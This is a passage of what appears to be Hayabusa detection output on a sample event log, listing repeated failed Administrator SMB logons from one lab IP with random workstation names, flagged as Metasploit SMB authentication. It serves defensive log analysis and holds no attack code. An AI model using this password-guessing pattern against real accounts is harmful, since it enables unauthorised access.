Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.310 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3XOmFwh8IamESWCM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.310 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.357 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 54GbW769j1x27mrI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.357 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.394 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bZSkhwZXc1SSknDT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.394 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.435 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 05AuqlN44x7oJGoi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.435 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.482 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RQ4A6ReTVTcFCFeN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.482 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.532 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: T7U6i4CMrL0bHouf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.532 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.573 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NaeA4uZ6o8BRbzwf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.573 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.626 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MEnlL5BHmlCrtk7p : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.626 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.669 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KRNMpwAAaTsyzPfR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.669 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.709 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oBtHQkRWIoq5hfn7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.709 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.752 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5pkk9lgqMQ4wxQel : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.752 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.801 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yQVan7kRDOlnim50 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.801 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.857 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9282GqsC7UiUMbRl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.857 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.892 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3lj7GjYryW9wjGgS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.892 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.990 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MPy4iUy5WBSLUBdy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.990 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.041 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0kvD9DEuos8SRrLH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.041 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.085 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NH1EnMG6fTvcz4QR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.085 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.131 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cqHDXSQn8gkl2LJy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.131 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.164 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RWI9XDDHjs2xcNB7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.164 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.210 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Zo53mEz6nal5Gxff : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.210 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.256 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jtOgC6wqMoNYVxId : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.256 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.297 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DdadoJYvD7DYjlSG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.297 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.341 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: U1xjdqjT9h0KUqG2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.341 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.389 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QfkzZBvO4onYx6JZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.389 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.432 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JqY8CvyODDLQV9Ps : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.432 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.482 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nPMRIxRVuh13jmZD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.482 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.523 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jARkTWdKTfTIwlug : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.523 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.567 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Zwhkc71Nfn7QDf7c : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.567 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.612 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qsYad9PgEajlYqvo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.612 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.649 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: v9YPw0DsspVbrOld : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.649 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.696 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wsHpLCOdAOPFM6nD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.696 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.732 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OcNytOhGOZKaREL9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.732 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.768 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lc5boBVigHE1ccGA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.768 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.819 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BQXg4ZHdBYHyiTTO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.819 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.853 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JebTJzyn91NrpvkD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.853 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.888 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8wCE5ypjEU5feEEv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.888 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.928 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OglsROoqX48xm0gJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.928 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.956 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5bNC9ES3l3KwXPxb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.956 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.004 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: byPavQuiscMm7CMW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.004 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.042 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UQESAC3XpxCJJfG5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.042 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.084 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5aYRnzirSj0PNXAE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.084 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.116 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8s9xJ659geFHOlY4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.116 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.154 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yBQdyO0diiFixwlx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.154 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.197 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vzULtccOFnLIRiVM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.197 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.232 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1pDEGzqTAyUab5P8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.232 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.274 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gomgb26W9qFacRr7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.274 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.318 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GXOcDu88S5c5VwwV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.318 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 